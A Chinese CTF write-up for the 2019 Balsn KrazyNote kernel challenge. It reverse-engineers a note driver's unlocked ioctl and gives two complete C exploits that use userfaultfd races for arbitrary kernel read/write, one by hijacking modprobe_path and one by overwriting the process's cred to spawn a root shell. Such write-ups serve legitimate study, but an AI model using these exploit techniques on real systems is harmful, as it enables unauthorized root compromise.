• [userfaultfd] 2019-BalsnCTF_KrazyNote


    前言

    题目不算难, 但是这代码逆向可逆死个人:) 悲悲悲

    程序分析

    内核版本: v5.1.9

    保护: 开了 kaslr, smep, smap. 现在的题目基本都开了, 都不用看.

    其中 note 模块中注册了一个 misc 设备, 其函数表中就只有 note_open 和 note_unlocked_ioctl 两个函数, 其中 note_open 函数没啥用. 主要看看 note_unlocked_ioctl 函数吧. 

    这里用的是 unlocked_ioctl 而不是 ioctl, 看网上说 unlocked_ioctl 不会提供锁操作, 需要用户自己实现相关锁操作

    行, 来看看 note_unlocked_ioctl 函数吧:) 是不是一脸懵逼, 这只是其中一部分

     可能是代码优化的问题, 反正 IDA 的伪 C 代码死难看. 所以这里采用动调的方式去理清楚整个程序的功能.

    动调就不一步一步展示了, 最后我整理的结果如下, 就是简单的写了下这个函数的逻辑. 整个过程都没有上锁.

    1. // 用户程序传入的结构体
    2. struct user_note {
    3. size_t idx;
    4. size_t size;
    5. char* buf;
    6. };
    7. // chunk 结构体
    8. // 感觉就是在模仿 glibc
    9. struct chunk {
    10. size_t key;
    11. size_t data_size;
    12. size_t data_offset;
    13. char data[]; //char data[self.data_size];
    14. };
    15. #define ADD 0xFFFFFF00
    16. #define DELE 0xFFFFFF03
    17. #define EDIT 0xFFFFFF01
    18. #define SHOW 0xFFFFFF02
    19. // 调试得知 KEY 与 page_offset_base 存在一个不固定的偏移
    20. #define KEY
    21. #define CHUNK_HEADER_SIZE 0x18
    22. size_t page_offset_base;
    23. // note_arr, chunk_buf, current_chunk_ptr 为 BSS 段上的变量
    24. struct chunk* note_arr[16];
    25. char* current_chunk_ptr = chunk_buf;
    26. char chunk_buf[0x2000];
    27. // 默认 idx 在 [0, 15] 之间
    28. // size 在 [0, 0x100] 之间
    29. // 这里实际上要复杂一些, 因为 chunk 的大小没有对齐
    30. __int64 note_unlocked_ioctl(struct file* fp, unsigend int cmd, unsigned __int64 args)
    31. {
    32. struct user_note user_note;
    33. struct chunk* knote;
    34. size_t buf[32];
    35. if (copy_from_user(&user_note, args, 24)) return -14;
    36. switch (cmd)
    37. {
    38. case ADD:
    39. size_t add_size = LOBYTE(user_note->size);
    40. size_t idx = -1;
    41. // 获取堆块索引, 最多申请16个
    42. for (;idx < 16; idx++)
    43. if (!note_addr[idx])
    44. break;
    45. if (idx == 16) goto ERROR;
    46. // 设置堆块元数据
    47. note_arr[idx] = current_chunk_ptr;
    48. current_chunk_ptr = current_chunk_ptr + add_size + CHUNK_HEADER_SIZE;
    49. note_arr[idx].key = KEY;
    50. note_arr[idx].data_size = add_size;
    51. // 复制数据到内核空间
    52. copy_from_user(buf, user_note.buf, add_size);
    53. // 数据进行异或加密
    54. xor_key(buf, KEY);
    55. // 复制数据到堆块中
    56. qmemcpy(note_arr[idx].data, buf, add_size);
    57. note_arr[idx].data_offset = note_arr[idx] - page_offset_base;
    58. break;
    59. case SHOW:
    60. size_t idx = user_note.idx & 0xf;
    61. size_t size = LOBYTE(note_arr[idx].size);
    62. // 获取堆块数据域起始地址
    63. size_t data_addr = note_arr[idx].data_offset + page_offset_base;
    64. qmemcpy(buf, data_addr, size);
    65. // 数据异或解密
    66. xor_key(buf, KEY);
    67. // 复制数据到用户空间
    68. copy_to_user(user_note.buf, buf, size);
    69. break;
    70. case EDIT:
    71. // 获取堆块
    72. knote = note_arr[LOBYTE(user_note.idx)];
    73. if (knote)
    74. {
    75. size_t size = LOBYTE(knote->size);
    76. size_t data_addr = page_offset_base + knote->data_offset;
    77. // 复制数据到内核空间
    78. copy_from_user(buf, user_note.buf, size);
    79. // 数据加密
    80. xor_key(buf, KEY);
    81. // 复制数据到堆块中
    82. qmemcpy(data_addr, buf, size);
    83. }
    84. break;
    85. case DELE:
    86. // 删除所有堆块
    87. // 将 note_arr 清空
    88. for (int i = 0; i < 16; i++) note_arr[i] = NULL;
    89. // 重置分配堆块指针
    90. current_chunk_ptr = chunk_buf;
    91. // 清空堆区的所以数据
    92. memset(chunk_buf, 0, 0x2000);
    93. break;
    94. }
    95. return 0;
    96. ERROR:
    97. return -14
    98. }

    总的来说, 题目实现了一个菜单 "堆", 具有增/删/查/改的功能, 但是这里的 "堆" 是出题者自己模拟的, 即:

    1) 在 BSS 段上分配一块内存 bss_buf 作为堆

    2) current_chunk_ptr 作为堆指针, 指向堆目前的地址, 类似 glibc 中的 top_chunk

    3) 定义了一个 chunk 结构, 类似 glibc 中的 chunk 都包含一个 0x10 的头一样. 这里的头为 0x18, 字段分别为 key, data_size, data_offset, 其函数如下:

            1) chunk 中的数据都会跟 key 进行异或

            2) data_size 表示数据域的大小

            3) page_offset_base + data_offset 为数据域的起始地址

    注意:

    1, 这里的 data_size 可以为0, 这时候只分配一个chunk头.

    2, 这里的 data_size 并不是对齐的, 也就是说你可以分配大小为 1 字节的堆块, 这是堆块的总大小就为 0x19, 下次分配就会从 0x20 开始. 但是这个没啥用, 我们自己在进行在分配的时候还是 8 字节对齐分配, 因为不想自找麻烦:)

    3, 注意一下 dele 堆块, 上面代码写的很清楚了, 自己看吧

    漏洞分析与利用

    漏洞就在于其没有进行锁操作, 并且内核版本为 5.1.9, 在 add/edit 的时候利用了 copy_from_user, 所以就是常规的 userfaultfd 利用了.

    任意写打 modprobe_path

    其实上面已经写的很清楚了, 代码逻辑也写了, 先把 key 泄漏出来, 然后泄漏 kernel_base, 最后修改 data_offset 实现任意地址写.

    exp 如下:

    1. #ifndef _GNU_SOURCE
    2. #define _GNU_SOURCE
    3. #endif
    4. #include
    5. #include
    6. #include
    7. #include
    8. #include
    9. #include
    10. #include
    11. #include
    12. #include
    13. #include
    14. #include
    15. #include
    16. #include
    17. #include
    18. #include
    19. #include
    20. #include
    21. #include
    22. #include
    23. #include
    24. #include
    25. #include
    26. #include
    27. #include
    28. #include
    29. #include
    30. size_t key;
    31. size_t kernel_offset;
    32. size_t modprobe_path_offset;
    33. void err_exit(char *msg)
    34. {
    35. printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    36. sleep(5);
    37. exit(EXIT_FAILURE);
    38. }
    39. void info(char *msg)
    40. {
    41. printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
    42. }
    43. void hexx(char *msg, size_t value)
    44. {
    45. printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
    46. }
    47. void binary_dump(char *desc, void *addr, int len) {
    48. uint64_t *buf64 = (uint64_t *) addr;
    49. uint8_t *buf8 = (uint8_t *) addr;
    50. if (desc != NULL) {
    51. printf("\033[33m[*] %s:\n\033[0m", desc);
    52. }
    53. for (int i = 0; i < len / 8; i += 4) {
    54. printf(" %04x", i * 8);
    55. for (int j = 0; j < 4; j++) {
    56. i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
    57. }
    58. printf(" ");
    59. for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    60. printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    61. }
    62. puts("");
    63. }
    64. }
    65. int fd;
    66. struct note {
    67. size_t idx;
    68. size_t size;
    69. char* buf;
    70. };
    71. void add(size_t size, char* buf)
    72. {
    73. struct note n = { .idx = 0, .size = size, .buf = buf };
    74. ioctl(fd, 0xFFFFFF00, &n);
    75. }
    76. void edit(size_t idx, char* buf)
    77. {
    78. struct note n = { .idx = idx, .size = 0, .buf = buf };
    79. ioctl(fd, 0xFFFFFF01, &n);
    80. }
    81. void show(size_t idx, char* buf)
    82. {
    83. struct note n = { .idx = idx, .size = 0, .buf = buf };
    84. ioctl(fd, 0xFFFFFF02, &n);
    85. }
    86. void dele()
    87. {
    88. struct note n = { .idx = 0, .size = 0, .buf = NULL };
    89. ioctl(fd, 0xFFFFFF03, &n);
    90. }
    91. void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
    92. {
    93. long uffd;
    94. struct uffdio_api uffdio_api;
    95. struct uffdio_register uffdio_register;
    96. uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
    97. if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);
    98. uffdio_api.api = UFFD_API;
    99. uffdio_api.features = 0;
    100. if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);
    101. uffdio_register.range.start = (long long)addr;
    102. uffdio_register.range.len = len;
    103. uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    104. if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);
    105. if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
    106. puts("[X] pthread_create at register_userfaultfd"), exit(-1);
    107. }
    108. char copy_src[0x1000] = { 0 };
    109. void* leak_key(void* arg)
    110. {
    111. struct uffd_msg msg;
    112. struct uffdio_copy uffdio_copy;
    113. long uffd = (long)arg;
    114. for(;;)
    115. {
    116. int res;
    117. struct pollfd pollfd;
    118. pollfd.fd = uffd;
    119. pollfd.events = POLLIN;
    120. if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
    121. res = read(uffd, &msg, sizeof(msg));
    122. if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
    123. if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
    124. if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
    125. puts("[+] Now in userfaultfd handler to leak key");
    126. char buf[0x100] = { 0 };
    127. dele();
    128. add(0, buf);
    129. add(0, buf);
    130. *(uint64_t*)(copy_src) = 0;
    131. *(uint64_t*)(copy_src+8) = 0xff;
    132. uffdio_copy.src = (long long)copy_src;
    133. uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
    134. uffdio_copy.len = 0x1000;
    135. uffdio_copy.mode = 0;
    136. uffdio_copy.copy = 0;
    137. if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
    138. }
    139. }
    140. void* leak_kernel(void* arg)
    141. {
    142. struct uffd_msg msg;
    143. struct uffdio_copy uffdio_copy;
    144. long uffd = (long)arg;
    145. for(;;)
    146. {
    147. int res;
    148. struct pollfd pollfd;
    149. pollfd.fd = uffd;
    150. pollfd.events = POLLIN;
    151. if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
    152. res = read(uffd, &msg, sizeof(msg));
    153. if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
    154. if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
    155. if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
    156. puts("[+] Now in userfaultfd handler to leak kernel base");
    157. char buf[0x100] = { 0 };
    158. dele();
    159. add(0x18, buf);
    160. add(0x18, buf);
    161. memset(copy_src, 0, sizeof(copy_src));
    162. *(uint64_t*)(copy_src+0x18) = key;
    163. *(uint64_t*)(copy_src+0x18+8) = 0x18 ^ key;
    164. *(uint64_t*)(copy_src+0x18+8+8) = 0x9d000 ^ key;
    165. uffdio_copy.src = (long long)copy_src;
    166. uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
    167. uffdio_copy.len = 0x1000;
    168. uffdio_copy.mode = 0;
    169. uffdio_copy.copy = 0;
    170. if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
    171. }
    172. }
    173. void* hijack(void* arg)
    174. {
    175. struct uffd_msg msg;
    176. struct uffdio_copy uffdio_copy;
    177. long uffd = (long)arg;
    178. for(;;)
    179. {
    180. int res;
    181. struct pollfd pollfd;
    182. pollfd.fd = uffd;
    183. pollfd.events = POLLIN;
    184. if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
    185. res = read(uffd, &msg, sizeof(msg));
    186. if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
    187. if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
    188. if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
    189. puts("[+] Now in userfaultfd handler to hijack modprobe_path");
    190. char buf[0x100] = { 0 };
    191. dele();
    192. add(0x18, buf);
    193. add(0x18, buf);
    194. memset(copy_src, 0, sizeof(copy_src));
    195. *(uint64_t*)(copy_src+0x18) = key;
    196. *(uint64_t*)(copy_src+0x18+8) = 0x10 ^ key;
    197. *(uint64_t*)(copy_src+0x18+8+8) = modprobe_path_offset ^ key;
    198. uffdio_copy.src = (long long)copy_src;
    199. uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
    200. uffdio_copy.len = 0x1000;
    201. uffdio_copy.mode = 0;
    202. uffdio_copy.copy = 0;
    203. if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
    204. }
    205. }
    206. void get_flag(){
    207. system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /home/note/x"); // modeprobe_path 修改为了 /tmp/x
    208. system("chmod +x /home/note/x");
    209. system("echo -ne '\\xff\\xff\\xff\\xff' > /home/note/dummy"); // 非法格式的二进制文件
    210. system("chmod +x /home/note//dummy");
    211. system("/home/note/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 执行的文件 /tmp/x
    212. sleep(0.3);
    213. system("cat /flag");
    214. exit(0);
    215. }
    216. int main(int argc, char** argv, char** envp)
    217. {
    218. char buf[0x1000] = { 0 };
    219. fd = open("/dev/note", O_RDONLY);
    220. if (fd < 0) err_exit("FAILED to open dev file");
    221. pthread_t thr0, thr1, thr2;
    222. void* uffd_buf0 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    223. void* uffd_buf1 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    224. void* uffd_buf2 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    225. if (uffd_buf0 < 0) err_exit("FAILED to mmap for uffd");
    226. if (uffd_buf1 < 0) err_exit("FAILED to mmap for uffd");
    227. if (uffd_buf2 < 0) err_exit("FAILED to mmap for uffd");
    228. register_userfaultfd(&thr0, uffd_buf0, 0x1000, leak_key);
    229. register_userfaultfd(&thr1, uffd_buf1, 0x1000, leak_kernel);
    230. register_userfaultfd(&thr2, uffd_buf2, 0x1000, hijack);
    231. add(0x10, uffd_buf0);
    232. show(1, buf);
    233. key = *(uint64_t*)buf;
    234. binary_dump("Leak key data", buf, 0x100);
    235. hexx("key value", key);
    236. memset(buf, 0, sizeof(buf));
    237. dele();
    238. add(0x18+0x18, buf);
    239. edit(0, uffd_buf1);
    240. show(1, buf);
    241. kernel_offset = *(uint64_t*)buf - 0xffffffff81000030;
    242. binary_dump("Leak kernel_base data", buf, 0x18);
    243. hexx("kernel_offset", kernel_offset);
    244. size_t modprobe_path = 0xffffffff8205e0e0 + kernel_offset;
    245. size_t page_offset_base = key & 0xfffffffff0000000;
    246. modprobe_path_offset = modprobe_path - page_offset_base;
    247. hexx("modprobe", modprobe_path);
    248. hexx("Guess page_offset_base", page_offset_base);
    249. hexx("modprobe_path_offset", modprobe_path_offset);
    250. memset(buf, 0, sizeof(buf));
    251. dele();
    252. add(0x18+0x18, buf);
    253. edit(0, uffd_buf2);
    254. strcpy(buf, "/home/note/x");
    255. edit(1, buf);
    256. puts("[+] get flag");
    257. get_flag();
    258. return 0;
    259. }

    效果如下:

    任意写修改 cred

    这里我们存在任意读写的能力, 所有根本不需要泄漏 kernel_base, 直接在泄漏 key 后得到 page_offset_base, 然后遍历搜索 current task_struct, 然后找到 current_cred, 最后利用任意写修改 cred 进行提权.

    exp 如下:

    1. #ifndef _GNU_SOURCE
    2. #define _GNU_SOURCE
    3. #endif
    4. #include
    5. #include
    6. #include
    7. #include
    8. #include
    9. #include
    10. #include
    11. #include
    12. #include
    13. #include
    14. #include
    15. #include
    16. #include
    17. #include
    18. #include
    19. #include
    20. #include
    21. #include
    22. #include
    23. #include
    24. #include
    25. #include
    26. #include
    27. #include
    28. #include
    29. #include
    30. #include
    31. size_t key;
    32. size_t kernel_offset;
    33. void err_exit(char *msg)
    34. {
    35. printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    36. sleep(5);
    37. exit(EXIT_FAILURE);
    38. }
    39. void info(char *msg)
    40. {
    41. printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
    42. }
    43. void hexx(char *msg, size_t value)
    44. {
    45. printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
    46. }
    47. void binary_dump(char *desc, void *addr, int len) {
    48. uint64_t *buf64 = (uint64_t *) addr;
    49. uint8_t *buf8 = (uint8_t *) addr;
    50. if (desc != NULL) {
    51. printf("\033[33m[*] %s:\n\033[0m", desc);
    52. }
    53. for (int i = 0; i < len / 8; i += 4) {
    54. printf(" %04x", i * 8);
    55. for (int j = 0; j < 4; j++) {
    56. i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
    57. }
    58. printf(" ");
    59. for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    60. printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    61. }
    62. puts("");
    63. }
    64. }
    65. int fd;
    66. struct note {
    67. size_t idx;
    68. size_t size;
    69. char* buf;
    70. };
    71. void add(size_t size, char* buf)
    72. {
    73. struct note n = { .idx = 0, .size = size, .buf = buf };
    74. ioctl(fd, 0xFFFFFF00, &n);
    75. }
    76. void edit(size_t idx, char* buf)
    77. {
    78. struct note n = { .idx = idx, .size = 0, .buf = buf };
    79. ioctl(fd, 0xFFFFFF01, &n);
    80. }
    81. void show(size_t idx, char* buf)
    82. {
    83. struct note n = { .idx = idx, .size = 0, .buf = buf };
    84. ioctl(fd, 0xFFFFFF02, &n);
    85. }
    86. void dele()
    87. {
    88. struct note n = { .idx = 0, .size = 0, .buf = NULL };
    89. ioctl(fd, 0xFFFFFF03, &n);
    90. }
    91. void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
    92. {
    93. long uffd;
    94. struct uffdio_api uffdio_api;
    95. struct uffdio_register uffdio_register;
    96. uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
    97. if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);
    98. uffdio_api.api = UFFD_API;
    99. uffdio_api.features = 0;
    100. if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);
    101. uffdio_register.range.start = (long long)addr;
    102. uffdio_register.range.len = len;
    103. uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    104. if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);
    105. if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
    106. puts("[X] pthread_create at register_userfaultfd"), exit(-1);
    107. }
    108. char copy_src[0x1000] = { 0 };
    109. void* handler(void* arg)
    110. {
    111. struct uffd_msg msg;
    112. struct uffdio_copy uffdio_copy;
    113. long uffd = (long)arg;
    114. for(;;)
    115. {
    116. int res;
    117. struct pollfd pollfd;
    118. pollfd.fd = uffd;
    119. pollfd.events = POLLIN;
    120. if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
    121. res = read(uffd, &msg, sizeof(msg));
    122. if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
    123. if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
    124. if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
    125. puts("[+] Now in userfaultfd handler");
    126. char buf[0x100] = { 0 };
    127. dele();
    128. add(0, buf);
    129. add(0, buf);
    130. *(uint64_t*)(copy_src) = 0;
    131. *(uint64_t*)(copy_src+8) = 0x18;
    132. uffdio_copy.src = (long long)copy_src;
    133. uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
    134. uffdio_copy.len = 0x1000;
    135. uffdio_copy.mode = 0;
    136. uffdio_copy.copy = 0;
    137. if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
    138. }
    139. }
    140. int main(int argc, char** argv, char** envp)
    141. {
    142. char buf[0x100] = { 0 };
    143. char buffer[0x300] = { 0 };
    144. fd = open("/dev/note", O_RDONLY);
    145. if (fd < 0) err_exit("FAILED to open dev file");
    146. if (prctl(PR_SET_NAME, "Pwner-XiaozaYa") < 0) err_exit("SET NAME");
    147. pthread_t thr;
    148. void* uffd_buf = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    149. if (uffd_buf < 0) err_exit("FAILED to mmap for uffd");
    150. register_userfaultfd(&thr, uffd_buf, 0x1000, handler);
    151. add(0x10, uffd_buf);
    152. show(1, buf);
    153. key = *(uint64_t*)buf;
    154. binary_dump("Leak key data", buf, 0x18);
    155. hexx("key value", key);
    156. size_t page_offset_base = key & 0xfffffffff0000000;
    157. hexx("Guess page_offset_base", page_offset_base);
    158. memset(buf, 0, sizeof(buf));
    159. add(0, buf);
    160. *(uint64_t*)buf = 0 ^ key;
    161. *(uint64_t*)(buf + 8) = 0xff ^ key;
    162. uint64_t* task;
    163. for (size_t off = 0; ; off+=0x100)
    164. {
    165. *(uint64_t*)(buf + 8 + 8) = off ^ key;
    166. edit(1, buf);
    167. memset(buffer, 0, sizeof(buffer));
    168. show(2, buffer+0x100);
    169. task = (uint64_t*)memmem(buffer+0x100, 0x100, "Pwner-XiaozaYa", 14);
    170. if (task)
    171. {
    172. printf("[+] comm: %s, real_cred: %#lx, current_cred: %#lx\n", task, task[-1], task[-2]);
    173. if (task[-1] > 0xffff000000000000 && task[-2] > 0xffff000000000000) break;
    174. }
    175. }
    176. *(uint64_t*)(buf + 8) = 0x20 ^ key;
    177. *(uint64_t*)(buf + 8 + 8) = (task[-2] + 4 - page_offset_base) ^ key;
    178. edit(1, buf);
    179. memset(buf, 0, sizeof(buf));
    180. edit(2, buf);
    181. puts("[+] Get root shell");
    182. system("/bin/sh");
    183. return 0;
    184. }

     效果如下: 因为每次最多只能读0x100, 所以寻找 current_task_struct 的时间可能久一些

  • 相关阅读:
    【电子通识】USB TYPE-A 2.0/3.0连接器接口
    Mysql数据库慢sql抓取与分析
    JavaSE | 初始Java(十) | 继承和多态
    搬走地下空间开发利用“绊脚石” 中地数码取得地下空间透明化技术突破
    JavaScript相关操作
    What is the difference between Parseval‘s theorem and Plancherel Theorem
    Vue.js核心技术解析与uni-app跨平台实战开发学习笔记 第5章 Vue.js组件 5.3 动画组件 && 5.4 组件传值
    红日靶场vulnstack1 内网渗透学习
    密码学算法教程
    fastadmin框架如何查询数据表指定时间段内的数据
  • 原文地址:https://blog.csdn.net/qq_61670993/article/details/134540209